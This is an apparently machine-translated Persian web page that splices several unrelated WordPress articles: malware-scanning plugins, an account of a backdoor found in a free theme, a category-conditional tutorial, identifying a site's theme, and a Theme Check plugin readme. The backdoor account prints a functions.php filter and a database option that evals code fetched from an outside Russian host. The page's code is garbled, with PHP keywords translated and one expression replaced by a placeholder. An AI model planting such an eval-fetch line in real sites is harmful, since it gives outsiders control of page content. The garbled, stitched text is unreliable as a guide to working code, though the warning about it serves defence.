بررسی دوره ای سایت برای ویروس های مخرب ضروری است؛ این اولین دستور هر وب مستر محترم است. حتی اگر از یک تم تمیز Twenty Eleven استفاده کنید، این یک واقعیت نیست که با گذشت زمان آن نیز آلوده نشده است. این پدیده می تواند (و اغلب اتفاق می افتد) به دلیل این واقعیت است که خود موتور وردپرس در ابتدا برای انتشار آنلاین طراحی شده است. بنابراین بررسی مجدد و کپی کردن سایت و پایگاه داده هرگز ضرری ندارد.

به عنوان مثال، من (البته پس از مدتی) یک نتیجه را برای خودم انجام دادم - شما فقط به یک میزبان خوب نیاز دارید و مشکلات رزرو شما به خودی خود ناپدید می شوند. من اکنون نیازی به تهیه نسخه پشتیبان از پایگاه داده یا سایت ندارم - میزبان همه کارها را برای من انجام می دهد و به طور خودکار. در هر زمان، در صورت تمایل، می توانید یک کپی از هر بخش از وبلاگ خود (و نه تنها) سفارش دهید، این نسخه را دانلود کنید، یا وبلاگ را مستقیماً از کنترل پنل بازیابی کنید. یعنی نیازی به دانلود نسخه پشتیبان ندارم، همه چیز به طور خودکار اتفاق می افتد - پشتیبان گیری، بازیابی و غیره. این راحت است زیرا می توانم نه فقط روز، بلکه ساعتی را که ویروسی در وبلاگ من ظاهر می شود ردیابی کنم و بر این اساس اقداماتی را برای از بین بردن آن انجام دهم.

من با خبر خوب شروع می کنم - حداقل دو افزونه که من استفاده کرده ام نتایج خوبشناسایی و محلی سازی کدهای مخرب اینها پلاگین های AntiVirus و Exploit Scanner هستند. شما باور نخواهید کرد که چقدر کد بد در وبلاگ شما وجود دارد! اما پس از بررسی همه اطلاعات به دست آمده را به عنوان جزم نگیرید - بسیاری از خطوطی که این افزونه ها تشخیص می دهند در واقع هیچ چیز بدی به خودی خود ندارند. فقط این است که افزونه برخی از خطوط را زیر سوال می برد، همین. برای تأیید این موضوع، قطعاتی را که افزونه به عنوان مخرب شناسایی کرده است، به صورت دستی بررسی کنید. بنابراین، هنگام بررسی افزونه آنتی ویروسمشخص شد که حتی یک فراخوانی ساده برای تابع get_cache_file () قبلاً توسط افزونه مشکوک تلقی می شود. بنابراین تمام نتایج بررسی ها باید به صورت دستی ردیابی شوند. اما این، برای مثال، یک پیوند واقعاً آلوده است و باید حذف شود:

از کجا متوجه می شوید که ویروس است یا قرار است باشد؟ همه چیز بسیار ساده است - الگوی تمیز خود را (در صورت وجود) مقایسه کنید و آن را (فایل به فایل) با قالبی که نصب شده است و قبلاً دستخوش تغییراتی شده است مقایسه کنید. نیازی به مقایسه مستقیم و تحت اللفظی نیست، فقط از جستجو استفاده کنید تا بررسی کنید که آیا قالب تمیز شما حاوی خطی است که افزونه برجسته کرده است یا خیر. در صورت وجود، روی دکمه "This is not a virus" کلیک کنید و این خط در بررسی بعدی در نظر گرفته نخواهد شد.

و در اینجا یک نمونه از افزونه دومی است که من امتحان کردم - اسکنر بهره برداری

همانطور که می بینید، همه چیز در اینجا بسیار نادیده گرفته شده است. برای من این نتیجه تکان دهنده بود. اما این همه ماجرا نیست. این افزونه دارای عملکردی مانند بررسی است. بنابراین، اگر آن را روشن کنید، معلوم می شود که وبلاگ باید از متن و حداکثر چند جدول CSS تشکیل شده باشد. بنابراین، به نظرم می رسد که نویسنده این افزونه به وضوح در امنیت اینجا زیاده روی کرده است. خوب است که افزونه فقط قطعات آلوده ادعا شده را نشان می دهد و آنها را پاک نمی کند.

پس از تجزیه و تحلیل تمام خطوط برجسته شده با رنگ زرد، به راحتی می توانید بدافزار (کد مخرب) را شناسایی کنید، خوب، اینکه در مرحله بعد با آن چه کاری انجام دهید به شما بستگی دارد. روش تمیز کردن همچنان یکسان است - کد انتخاب شده را با نسخه پشتیبان سایت مقایسه می کنید (نگاه کنید به) و اگر مغایرتی پیدا کردید، متوجه می شوید که آیا خودتان این کار را انجام داده اید یا کسی آن را برای شما انجام داده است، به این معنی که این دیگر خوب نیست و ممکن است تبدیل به ویروس شود. حتی توسعه دهندگان وردپرس توصیه می کنند که سایت را برای کدهای مخرب با این افزونه خاص بررسی کنید. اما چنین درج های بی ضرری وجود دارد، به عنوان مثال، در بدنه یک iframe، که افزونه می تواند آنها را نیز به عنوان کد آلوده شناسایی کند. اما در واقع بدون این خطوط، این بخش از وبلاگ شما به درستی کار نخواهد کرد.

اصلاً چگونه بدافزارها می توانند وارد فایل های وبلاگ شوند و به طور تعریف چیست؟ بدافزار در لغت به معنای - مخرب نرم افزار ، از نرم افزارهای مخرب انگلیسی. این هر نرم افزاری است که می تواند برای دسترسی غیرمجاز به سایت و محتوای آن استفاده شود. احتمالا تصور می کنید که برای یک هکر متوسط ​​آموزش دیده، هک کردن یک سایت به خصوص پس از ثبت نام کار سختی نخواهد بود. پس از آن، می توانید محتوای وبلاگ را هر طور که دوست دارید تغییر دهید - این آموزش است.

بدافزارهای مخرب را می توان در افزونه هایی که از آن نصب می کنید نیز وارد کرد منبع ناشناسو در اسکریپت هایی که گاهی اوقات بدون بررسی، اما به نویسنده اعتماد می کنید. بی ضررترین بدافزار پیوندی است به نویسنده ماژولی که در سایت نصب کرده اید. و اگر خود نویسنده به شما هشدار نداده است که چنین پیوندی وجود دارد، پس این ویروس خالص است.

بنابراین، من در یک وبلاگ آزمایشی نصب کردم موضوع جدید، و پس از حذف یک پیوند بی ضرر به نوعی باشگاه مردانه در زیرزمین سایت، به هیچ وجه باز نشد و کتیبه ای روی لینک اصلی ظاهر شد - "شما حق ندارید پیوندها را حذف کنید." در اینجا یک تم رایگان برای شما وجود دارد. می‌توانید در مورد نحوه پاره کردن چنین پیوندهای چپی بخوانید.

پایگاه داده شما همچنین می تواند برای اجرای کدهای مخرب استفاده شود. پیوندهای اسپم نیز اغلب به پست ها یا نظرات اضافه می شوند. چنین پیوندهایی معمولاً پنهان می شوند که کمک CSSبه طوری که یک مدیر بی تجربه آنها را نمی بیند، اما سیستم جستجوبلافاصله آنها را تشخیص دهید البته در اینجا هر آنتی هرزنامه ای وارد عمل می شود، مثلاً آنتی اسپم که بارها مجوز، بررسی و بررسی مجدد شده است. هکر می تواند فایل هایی را با پسوند فایل تصویری دانلود کرده و به کد افزونه های فعال شده شما اضافه کند. بنابراین، حتی اگر فایل پسوند php نداشته باشد، کد موجود در آن فایل قابل اجرا است.

ابزار ساده دیگری وجود دارد که با آن آشنایی خود را با بدافزار آغاز کردم - پلاگین Theme Authenticity Checker (TAC). این به اندازه کافی سبک و قدرتمند است، اما فقط موضوعات شما را بررسی می کند، حتی آنهایی که فعال نیستند. بقیه دایرکتوری ها را لمس نمی کند و این نقطه ضعف آن است. این چیزی است که من از بررسی موضوع فعلی خود با این افزونه دریافت کردم:

دو اخطار در تاپیک فعال و نه چیز دیگر. هیچ کد مخربی وجود ندارد. به هر حال، اینها پیوندهایی هستند که من خودم به توصیه Google درج کردم - برای بهبود کیفیت قطعه (نمایش داده های شخصی، آدرس سازمان و غیره). اما این فقط بررسی فایل‌های تم است و آنچه در فهرست‌های دیگر انجام می‌شود، باید با کمک افزونه‌های دیگر یا خدمات آنلاین متوجه شوید. به عنوان مثال، چنین سرویسی (این سزاوار اعتماد است) به عنوان Yandex Webmaster یا مشابه در گوگل. آنها وظیفه بررسی هر منبع وب را برای موارد مخرب دارند و این کار را به نحو احسن انجام می دهند. اما اگر این برای شما کافی نیست، نتایج را با نتایج سایر خدمات مقایسه کنید و نتیجه گیری کنید.

به دلایلی، من می خواهم به Yandex اعتقاد داشته باشم، نه افزونه ها. یکی دیگر از منابع خوب http://2ip.ru/site-virus-scanner/ است. پس از بررسی یکی از وبلاگ هایم، آنچه را که من پیدا کردم این است:

در اینجا همچنین می توانید در صورت داشتن چنین شک و تردیدی، فایل های فردی را برای کدهای مخرب بررسی کنید. در کل سرویس دهی خوبه

از مجموع موارد فوق به این نتیجه می رسم:

1. برای جلوگیری از ظهور کدهای مخرب، ابتدا باید از خدمات قابل اعتماد برای دانلود فایل ها - افزونه ها، تم ها و غیره استفاده کنید.

2. به طور منظم از هر چیزی که سایت در بر دارد نسخه پشتیبان تهیه کنید - پایگاه داده، محتوا، پنل مدیریت، از جمله فایل های شخص ثالث آپلود شده.

3. از به روز رسانی های ارائه شده توسط وردپرس لذت ببرید. آنها حداقل عاری از ویروس هستند، اگرچه همیشه از نظر عملکرد توجیه نمی شوند. اما با به‌روزرسانی، ویروس‌هایی که ممکن است وجود داشته باشند را حذف می‌کنید.

4. تم ها، پلاگین ها، تصاویر و فایل های استفاده نشده، بدون پشیمانی حذف کنید - این یک نسخه جایگزین دیگر برای بدافزار است که ممکن است هرگز حدس بزنید.

5. مطمئن شوید که از دسترسی FTP، لاگین PhpAdmin، پنل مدیریت و به طور کلی، جایی که هیچ کس جز شما نباید به آن دسترسی داشته باشد، با رمز عبور محافظت کنید.

6. سعی کنید (حتی اگر این میل به اندازه آسمان باشد) فایل های اصلی وردپرس را تغییر ندهید یا جایگزین نکنید - توسعه دهندگان بهتر می دانند که چه چیزی و چگونه باید کار کند.

7. پس از شناسایی و حذف ویروس ها، تمام رمزهای عبور را تغییر دهید. فکر می کنم تمایل زیادی به ساخت رمز عبور 148 کاراکتری در رجیسترهای مختلف و با کاراکترهای خاص خواهید داشت. اما زیاد دست به کار نشوید رمزهای عبور پیچیده، می توانید آن را از دست بدهید، و سپس باید همه چیز را بازیابی کنید، که خیلی خوشایند نیست.

تمام این روش ها و کامپوننت هایی که توضیح دادم و به شما کمک می کند تا از شر ویروس ها خلاص شوید، البته رایگان هستند، البته تقریباً خانگی و البته تضمین 100% پاک شدن سایت شما را نمی دهند. درج های مخرب بنابراین، اگر قبلاً نگران تمیز کردن وبلاگ هستید، بهتر است با متخصصان، به عنوان مثال، در سرویس تماس بگیرید. سوکوری(http://sucuri.net/). در اینجا سایت شما به دقت نظارت می شود، توصیه های عملی از طریق نامه برای شما ارسال می شود و اگر نمی خواهید خودتان سایت را تمیز کنید، متخصصانی در خدمت شما هستند که در عرض 4 ساعت همه چیز را به بهترین شکل ممکن انجام می دهند:

خوب، وبلاگ آزمایشی من بعد از مانیتورینگ اینگونه به نظر می رسد، و این در حالی است که روش های دیگر (homebrew) همیشه نتایج متفاوتی را نشان می دهند. همانطور که می بینید، آزمایش رایگان است، اما در صورت یافتن ویروس، باید هزینه حذف آنها را بدون آسیب رساندن به سایت پرداخت کنید (مگر اینکه، البته، شما یک مربی پاکسازی وبلاگ از بدافزارها باشید).

اجازه دهید یک بار دیگر تاکید کنم که هکرها در حالت آماده باش هستند، ویروس ها دائما در حال ارتقا هستند و نمی توان همه چیز را به تنهایی پیگیری کرد. همه نوآوری ها آنقدر با دقت پنهان و مبدل هستند که فقط تیم می تواند آنها را فاش کند! حرفه ای ها، نه وبلاگ نویسان خودآموخته که بسیاری هستند. به همین دلیل است که تشخیص دستی و حذف بدافزار بسیار بی اثر است: بدون تجربه - بدون نتیجه، اما ویروس وجود دارد. استفاده کنید برنامه های دارای مجوزو رفع خطر را به متخصصان بسپارید

سلام دوستان. آیا مطمئن هستید که قالب رایگان وردپرسی که برای وب سایت ها و وبلاگ های خود استفاده می کنید واقعاً ایمن است و حاوی تهدیدات پنهان و کدهای مخرب نیست؟ آیا از این موضوع کاملا مطمئن هستید؟ کاملا؟)

شما فکر می کنید که آنها قالب را اجرا کردند، پیوندهای مخفی را از آن حذف کردند و کار تمام شد. شما به صورت دوره ای فایل های سایت را با یک آنتی ویروس اسکن می کنید، به ابزارهای وب مستر Yandex در برگه امنیت نگاه می کنید و با خیال راحت، پیامی را در آنجا می بینید: هیچ کد مخربی در سایت یافت نشد«.

من هم همین فکر را کردم. نمیخوام ناراحتت کنم ولی...

کد خطرناک مخفی در قالب های رایگان وردپرس

این نامه ای است که هفته گذشته از طریق پست از میزبانم دریافت کردم. اخیراً آنها یک بررسی منظم از تمام فایل های سایت برای محتوای مخرب معرفی کرده اند و با این حال این محتوا را در من پیدا کرده اند!

همه چیز با این واقعیت شروع شد که یک روز به سایت خود رفتم و نتوانستم آن را راه اندازی کنم - یک کتیبه توهین آمیز در مورد فایل های پیدا نشده با پسوند php بیرون آمد. با کمی تنش، رفتم تا محتویات پوشه را با سایت موجود در هاست مطالعه کنم و بلافاصله مشکلی را کشف کردم - فایل قالب fuctions.php من به functions.php.malware تغییر نام داد، که، همانطور که بود، به طور مبهم اشاره کرد - یک آنتی ویروس یا چیزی شبیه به آن در اینجا کار می کند) با وارد کردن ایمیل، گزارش فوق را از میزبان پیدا کردم.

البته اول از همه شروع به بررسی این فایل کردم، محتویات آن را مطالعه کردم، آن را با انواع آنتی ویروس ها، ده ها سرویس اسکن ویروس آنلاین و غیره اسکن کردم. - در پایان ، من چیزی پیدا نکردم ، همه به اتفاق آرا ادعا کردند که پرونده کاملاً ایمن است. البته من شکم را به میزبان اعلام کردم و گفتم شما چیزی را به هم ریخته اید، اما در هر صورت از آنها خواستم گزارشی از کشف یک کد مخرب ارائه کنند.

و این چیزی است که آنها به من گفتند

من به اطلاعات این کد در گوگل رفتم و به طور جدی به آن فکر کردم ...

چگونه یک قطعه کد مخرب را در قالب پیدا کنیم

همانطور که مشخص شد، این یک ترفند واقعا غیر پیش پا افتاده است که به افراد علاقه مند اجازه می دهد تا بدون اطلاع شما اطلاعات را به سایت شما منتقل کنند و محتوای صفحات را تغییر دهند! اگر از یک قالب رایگان استفاده می کنید، پس من به شدت توصیه می کنم برای کد زیر، functions.php خود را بررسی کنید:

add_filter('the_content', '_bloginfo', 10001);
تابع _bloginfo($content)(
جهانی $post;
if(is_single() && ( [ایمیل محافظت شده](get_option('blogoption'))) !== نادرست)(
بازگشت $co;
) در غیر این صورت $content را برگردانید.
}

حتی با دانش بسیار سطحی من از php، می توان دید که فیلتر خاصی در حال ایجاد است که به متغیر جهانی پست و محتوا گره خورده است که وظیفه نمایش محتوا را فقط در صفحات پست وبلاگ (is_single شرط) بر عهده دارد. از قبل مشکوک است، نه؟ خوب، حالا بیایید ببینیم این قرار است چه چیزی را نمایش دهد کد داده شدهدر وب سایت ما

گزینه جالب وبلاگ درخواست شده در پایگاه داده نیز بسیار مشکوک به نظر می رسد. ما به پایگاه داده MySQL خود می رویم و جدولی به نام wp_options در آنجا پیدا می کنیم، اگر پیشوندها را تغییر نداده باشید، به طور پیش فرض به این شکل خواهد بود. و در آن ما یک خط مورد علاقه خود را به نام blogoption پیدا می کنیم

چه زیبایی! گزینه زیر را مشاهده می کنیم


return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

آن ها ما از یک سایت خاص (به علاوه، روسی، توجه داشته باشید) محتوایی را که می تواند هر چیزی را حمل کند، برمی گردانیم! هر تعداد پیوند، کدهای مخرب، متن تغییر یافته و غیره. خود سایت هنگام دسترسی به آن خطای دسترسی 403 می دهد که جای تعجب نیست. البته این گزینه رو هم از دیتابیس حذف کردم.

طبق اطلاعات قربانیان، دقیقاً محتوای مقاله شما معمولاً تنها با یک تغییر - به جای هر نقطه "، برگردانده می شود. یک لینک باز در متن ماسک شده بود! ضمناً این گزینه در هنگام نصب خود قالب در پایگاه داده نوشته می شود و سپس کدی که این کار را با خیال راحت انجام می دهد خود تخریب می شود. و من دو سال با چنین آشغالی زندگی کردم و در تمام این مدت حتی یک آنتی ویروس یا سرویس این تهدید را برای من فاش نکرد. صادقانه بگویم، من متوجه نشدم که آیا این تکنیک تا به حال برای من کار می کند یا پلاگین امنیتی من این امکان را مسدود کرده است (یا شاید یکی از به روز رسانی های WordPressa این حفره را بسته است)، اما هنوز هم ناخوشایند است.

اخلاق پنیر رایگان

پیچیدگی "مترجمان" الگوهای ما (یا کسانی که آنها را در کاتالوگ های خود پست می کنند) چگونه دوست دارید؟ این شما نیستید که لینک ها را از پاورقی قطع کنید) حیف که یادم نیست قالبم را از کجا دانلود کردم، خیلی وقت پیش بود، وگرنه چندتا دوست داشتنی می نوشتم. و اگر در آن زمان همان تجربه ای را داشتم که الان دارم، قطعاً از قالب رایگان استفاده نمی کردم یا در موارد شدید از منابع ناشناس دانلود نمی کردم!

خرید یک قالب رسمی با قیمت 15 تا 20 دلار در همان قالب ساده تر است و با دانستن اینکه هیچ حفره و پیوند رمزگذاری شده ای در آن وجود ندارد و حتی اگر آسیب پذیری وجود داشته باشد، توسعه دهندگان به روز رسانی را منتشر می کنند و در آرامش زندگی می کنند. این سوراخ ها بسته خواهد شد. ( به هر حال، آرتم اخیراً مقاله ای منتشر کرده است که در آن فقط در مورد قالب های برتر صحبت می کند و حتی کدهای تبلیغاتی را برای تخفیف های بی رحمانه برای علاقه مندان توزیع می کند.)

تصور کنید که در حال نمایش رکوردها هستید و باید تغییر دهید ظاهربسته به روبریک به عنوان مثال، شما یک بلوک "درباره نویسنده" دارید که اطلاعات نویسنده یک مقاله را نشان می دهد، اما نمی خواهید این بلوک را ببینید، به عنوان مثال، در زیر پست هایی از دسته ای که در آن لازم نیست. همچنین می‌توانید کامنت‌گذاری در دسته‌های خاص، تصاویر کوچک و غیره را غیرفعال کنید. همه چیز به نیازها و خیالات شما بستگی دارد. من شخصاً اغلب از این حالت استفاده می کنم.

برای فیلتر کردن ورودی ها بسته به دسته، این تابع کمک می کند - in_category(). این تابع بررسی می کند که آیا ورودی فعلی یا داده شده به دسته مورد نظر، خوب یا چند دسته تعلق دارد. اغلب، این تابع در یک فایل خروجی است single.php، زیرا وظیفه نمایش سوابق را بر عهده دارد.

ساده ترین راه برای استفاده از تابع چیزی شبیه به این است. این کد را به فایل single.php اضافه می کنیم، در صورت لزوم تگ ها را در PHP محصور می کنیم.

تگ های PHP به شکل زیر هستند:

اگر طرح زمینه شما بیشتر از کد HTML استفاده می کند، کد زیر را بدون تغییر قرار دهید. اگر به طور عمده از PHP استفاده شود، تگ هایی که کد در آنها محصور شده است را می توان حذف کرد.

در این کد شرط می گذاریم که اگر پست فعلی متعلق به دسته ای با ID - 12 باشد، باید چیزی نمایش داده شود. هر چه می خواهید، داخل بریس های فرفری اضافه کنید. باید کد PHP باشد، اگر مشکل است و نیاز به اضافه کردن کد HTML دارید، کد را با همان تگ های PHP بشکنید و کد به این صورت می شود:

//در اینجا ما کد معمولی HTML یا فقط متن را می نویسیم.

برای تعیین شناسه دسته ها باید به لیست دسته ها در پنل مدیریت رفته و روی دسته مورد نظر قرار دهید. در پایین پنجره مرورگر در سمت راست لینکی ظاهر می شود که داخل آن چیزی شبیه ID=1 خواهد بود، یعنی شناسه این دسته 1 است.

اگر می خواهید چندین دسته را مشخص کنید، سپس آنها را با کاما از هم جدا کنید. همچنین ممکن است لازم باشد یک شرط "IF - THEN" ایجاد کنید، سپس کد چیزی شبیه به این خواهد بود:

تصور کنید که باید یک تصویر کوچک پست در روبریک 12 و اولین عکس از متن را در پست های دیگر از روبریک های دیگر نمایش دهید. آیا این اتفاق می افتد و چگونه باید آن را انجام داد؟ با کد بالا می توانید در مورد خروجی اولین تصویر از رکورد در مقاله بخوانید -

اکنون می خواهم یک ویژگی دیگر را که می توان به این تابع اضافه کرد را نشان دهم. اتفاق می افتد که روبریک ها دارای زیرمجموعه ها هستند، یعنی دسته های فرزند. و اگر ورودی متعلق به یکی از زیرمجموعه ها باشد، شرط آن را دور می زند. اگر این همان چیزی است که شما نیاز دارید، پس نمی توانید چیزی را لمس کنید، اما اگر، با این وجود، شرط باید برای عنوان های فرعی کار کند، باید یک اضافه به شرط اضافه کنید. برای شروع، باید قسمت زیر را به خود شرط اضافه کنید - || post_is_in_decendant_category (12). این فراخوانی برای تابع جدید ما است که زیرمجموعه ها را بررسی می کند. کد تمام شده به صورت زیر خواهد بود:

برای اینکه یک تابع جدید شروع به کار کند، باید کد خود این تابع را اضافه کنید، یعنی باید آن را بنویسید. برای انجام این کار، فایل را در پوشه ای با موضوع فعال پیدا کنید functions.php، که شامل توابع تعریف شده توسط کاربر است. اگر با PHP آشنایی ندارید، باید کد را به انتهای فایل اضافه کنید، اما اگر بسته شدن وجود دارد. PHPبرچسب - ?> ، سپس باید قبل از آن اضافه کنید. خود کد به شکل زیر است:

تابع post_is_in_descendant_category($cats, $_post = null) ( foreach ((آرایه) $cats به عنوان $cat) (// get_term_children() شناسه عدد صحیح را فقط $descendants = get_term_children((int) $cat, "category") می پذیرد؛ اگر ($Decendants && in_category($Decendants, $_post)) بازگشت true; ) return false;)

اگر همه چیز به درستی انجام شود، شرایط شما پست‌ها را برای دسته‌های خاص و زیرمجموعه‌های آنها انتخاب می‌کند.

مدت ها پیش شروع به نوشتن این مقاله کردم، اما همه دست ها به پایان نرسیدند، سپس یکی، سپس دومی قطع شد. در نهایت، مقاله به پایان رسید و شاید بسیاری به حل مشکل کمک کنند.

همین، از توجه شما متشکرم. 🙂

آیا تا به حال فکر کرده اید که یک سایت خاص از چه موضوعی استفاده می کند؟

اغلب، در جستجوی تم کامل، به پروژه‌های تکمیل‌شده دیگر نگاه می‌کنیم تا چیزی مشابه پیدا کنیم یا سایت خود را با همان موضوع، فقط با طراحی فردی خودمان بسازیم.

در این آموزش، ابزارها و ترفندهایی را به شما نشان خواهیم داد که می‌توانید با استفاده از آن‌ها متوجه شوید که این سایت وردپرسی از چه موضوعی استفاده می‌کند.

روش 1: سایت تأیید IsItWP

ساده ترین راه این است که به isitwp.com بروید و سایت مورد نظر خود را بررسی کنید.

این یک ابزار آنلاین است که به شما نشان می دهد وردپرس از چه تمی استفاده می کند و آیا اصلاً از وردپرس در سایت استفاده می شود یا خیر.

اگر سایت دارای وردپرس است، IsItWP سعی می کند نام موضوع فعلی را پیدا کند.

همچنین سعی می‌کند بفهمد چه افزونه‌های فعالی در سایت استفاده می‌شوند:

اگر خوش شانس هستید و یک تم سفارشی یا کودک نیست، IsItWP نام تم را به شما می دهد و می توانید آن تم را بیشتر جستجو کنید.

روش 2. به صورت دستی تعریف کنید

گاهی اوقات صاحبان سایت یا توسعه دهندگان نام بومی را تغییر می دهند قالب های وردپرس. در این صورت، ابزارهایی مانند IsItWP نمی توانند به شما کمک کنند.

اما با این وجود، ممکن است هنوز نکات مختلفی در کد سایت وجود داشته باشد که به شما کمک کند بفهمید چه نوع تمی نصب شده است.

اجازه بدید ببینم.

هر قالب وردپرس باید دارای یک style.css. این فایل حاوی یک هدر در داخل است که به عنوان یک قاعده، نام تم، نویسنده تم، نسخه و سایت توسعه دهنده تم را نشان می دهد. همچنین سایر قالب‌های css را که تم از آنها استفاده می‌کند، مشخص می‌کند.

برای یافتن این فایل ابتدا باید به خود سایت مراجعه کنید. در جایی از صفحه اصلی کلیک راست کرده و به نمای کد منبع بروید ( مشاهده منبع صفحه).

کد منبع صفحه اصلی سایت در یک تب جدید در مرورگر باز می شود.

اکنون باید یک خط کد پیدا کنید که چیزی شبیه به این باشد:

برای آسان‌تر کردن کار، می‌توانید این برگه را با کد قطعه جستجو کنید. تم ها". این بخشی از دایرکتوری است که در آن style.css.

بنابراین، مسیری که فایل style.css در آن قرار دارد را پیدا خواهید کرد و می توانید این فایل را مستقیماً در مرورگر در یک تب جدید باز کنید.

در بالای style.css یک هدر با عنوان (که در بالا در مورد آن صحبت کردیم) وجود خواهد داشت. این اطلاعات سرویس در مورد موضوع است. چیزی شبیه این به نظر می رسد:

/* نام تم: نام تم URI تم: https://example.com نویسنده: ThemeAuthorName URI نویسنده: https://example.com توضیحات: قالب من یک قالب وردپرس انعطاف پذیر است که برای وب سایت های نمونه کار طراحی شده است نسخه: 1.1.47 مجوز: مجوز عمومی عمومی گنو نسخه 2 یا بالاتر URI مجوز: http://www.gnu.org/licenses/gpl-2.0.html دامنه متن: hestia برچسب ها: وبلاگ، آرم سفارشی، نمونه کارها، تجارت الکترونیک، rtl-language-support , قالب‌های پست, طرح‌بندی شبکه‌ای, تک ستونی, دو ستونی, پس‌زمینه سفارشی, رنگ‌های سفارشی, سرصفحه سفارشی, منوی سفارشی, سرصفحه-تصویر برجسته,-تصاویر-ویژگی, سرصفحه منعطف, تمام عرض -قالب، پست چسبناک، گزینه‌های تم، نظرات رشته‌ای، آماده ترجمه */

از این بلوک می توانید نام موضوع و آدرس توسعه دهنده را پیدا کنید. سپس فقط یافتن این موضوع در اینترنت باقی می ماند.

روش 3. نحوه پیدا کردن تم والد

بسیاری از سایت ها از تم های کودک برای سفارشی کردن ظاهر استفاده می کنند. و این رویکرد کاملاً درستی است.

در این صورت، اگر فایل را پیدا کردید style.cssاز یک طرح زمینه فرزند، هدر آن حاوی اطلاعاتی در مورد موضوع اصلی خواهد بود:

/* نام موضوع: My Child توضیحات تم: فقط یک تم کودک نویسنده: پیتر اسمیت آدرس نویسنده: آدرس وبلاگ یا وب سایت نویسنده را اینجا بنویسید الگو: hestia نسخه: 1.0 مجوز: مجوز عمومی عمومی گنو نسخه 2 یا بالاتر URI مجوز: http :/ /www.gnu.org/licenses/gpl-2.0.html دامنه متن: my-child-theme */

در مثال بالا، پارامتر " قالب"، یعنی از تم والد "هستیا" برای این تم کودک استفاده شده است.

همچنین می توانید از کد منبع توضیح داده شده در روش 2 در مورد موضوع والد اطلاعات کسب کنید. در کد، مرجعی به فایل style.css نه تنها از موضوع فرزند، بلکه از موضوع اصلی نیز خواهید یافت.

اما فراموش نکنید که توسعه‌دهنده می‌تواند سعی کند تمام سرصفحه‌های style.css را به خود تغییر دهد، در این صورت تعیین موضوع اصلی بسیار دشوار خواهد بود.

افزونه بررسی تم یک راه آسان برای آزمایش تم شما و اطمینان از مطابقت با آخرین استانداردهای بررسی تم است. با آن، تو می توانیهمه همان ابزارهای تست خودکار را روی پوسته خود اجرا کنید که WordPress.org برای ارسال تم استفاده می کند.

تست ها از طریق یک منوی ساده مدیریت اجرا می شوند و همه نتایج به یکباره نمایش داده می شوند. این برای توسعه دهندگان پوسته یا هر کسی که به دنبال اطمینان از اینکه موضوع آنها از آخرین استانداردها و شیوه های تم وردپرس پشتیبانی می کند بسیار مفید است.

نحوه فعال کردن قالب بندی تراک

تیم بررسی تم از این افزونه هنگام بررسی مضامین استفاده می کند و خروجی را در بلیط های تراک کپی/پیست می کند، سیستم تراک زبان نشانه گذاری خاص خود را دارد.
برای فعال کردن قالب بندی تراک در Theme-Check باید چند متغیر را در wp-config.php تعریف کنید:
TC_PREو TC_POSTبه عنوان سرصفحه و پاورقی بلیط استفاده می شود.
مثال ها:
define('TC_PRE', 'بازبینی تم:[]
- تم ها باید با استفاده از "define(\'WP_DEBUG\', true);" مرور شوند. wp-config.php[]
- مضامین باید با استفاده از داده‌های آزمون از فهرست‌های بررسی تم (TC) بررسی شوند.
——
‘);

Define("TC_POST"، "در صورت داشتن هرگونه سوال، نظر یا بازخورد از جزئیات تماس زیر استفاده کنید:[] [] * نظر خود را در مورد این بلیط بنویسید[] * یک ایمیل به ایمیل بررسی موضوع ارسال کنید لیست[] * از کانال #wordpress-themes IRC در Freenode استفاده کنید.");

اگر یااز این دو متغیر تعریف شده، یک تیک باکس آهنگ جدید در کنار آن ظاهر می شود آن را بررسی کنید!دکمه.

سوالات متداول

شماره نسخه ها چیست؟

شماره نسخه، تاریخ بازنگری دستورالعمل های مورد استفاده برای ایجاد آن است.

چرا چیزی را به عنوان بد علامت گذاری می کند؟

به این ترتیب چیزهای "بد" را علامت گذاری نمی کند. بررسی تم به گونه‌ای طراحی شده است که روشی غیر کامل برای آزمایش انطباق با دستورالعمل‌های بررسی موضوع باشد. همه موضوعات نباید از این دستورالعمل ها پیروی کنند. هدف ابزار بررسی این است که اطمینان حاصل شود که مضامین آپلود شده در مخزن مرکزی تم WordPress.org با آخرین استانداردهای مضامین وردپرس مطابقت دارند و در سایت‌های مختلف کار می‌کنند.

بسیاری از سایت ها از تم های سفارشی شده استفاده می کنند و این کاملاً اشکالی ندارد. اما مضامینی که برای استفاده در انواع مختلف سایت‌ها توسط عموم در نظر گرفته شده‌اند، باید حداقل سطح مشخصی از قابلیت‌ها را داشته باشند تا از عملکرد مناسب در بسیاری از محیط‌های مختلف اطمینان حاصل شود. دستورالعمل‌های بررسی تم با در نظر گرفتن این هدف ایجاد شده‌اند.

این جستجوگر تم کامل نیست و هرگز نخواهد بود. این تنها ابزاری برای کمک به نویسندگان تم، یا هر کس دیگری است که می خواهد موضوع خود را توانمندتر کند. تمام مضامین ارسال شده به WordPress.org توسط تیمی از متخصصان بررسی می شود. جستجوگر تم خودکار فقط یک ابزار مفید است، نه یک سیستم اندازه‌گیری مطلق.

این افزونه نمی کنددستورالعمل های مورد استفاده را تعیین کنید. هر مشکلی با دستورالعمل‌های بررسی موضوع خاص باید در سایت Make Themes بحث شود.

بررسی ها

این یک افزونه عالی برای همه کسانی است که واقعاً دوست دارند یک تم وردپرس ایجاد کنند و استانداردهای اولیه وردپرس را با موفقیت آزمایش کنند. خطاها در "لازم"، "هشدار"، "توصیه شده" و "اطلاعات" جدا شده اند. همچنین اطلاعات اولیه این خطا را ارائه کنید و به شما بفهمانید مشکل از کجاست.

اعضا و توسعه دهندگان

Theme Checker یک پروژه متن باز است. مشارکت کنندگان زیر در توسعه این افزونه مشارکت داشتند:

اعضا

تغییرات

20190801.1

  • بررسی عدم وجود و عدم وجود در صفحه مدیریت را برطرف کنید. استیون استرن را برای گزارش مشکل به تیم پلاگین ها پشتیبانی می کند. اگرچه این از نظر فنی یک CSRF است، اما هیچ آسیب‌پذیری از آن ناشی نمی‌شود، زیرا تنها کاری که می‌توان با فرم انجام داد، اسکن یک موضوع است.

20190208.1

  • اضافه کردن سبک های جدید برای ویرایشگر بلوک. به https://meta.trac.wordpress.org/ticket/3921 مراجعه کنید

20160523.1

  • نام‌های تم را با خط تیره برطرف کنید
  • نظرات حذف تغییرات
  • بسیاری از تغییرات توسط تیم بررسی موضوع و دیگران. برای لیست کامل تغییرات به Github مراجعه کنید.

20151211.1

  • همگام سازی کامل با Github و تمام تغییراتی که در آنجا اتفاق افتاده است.
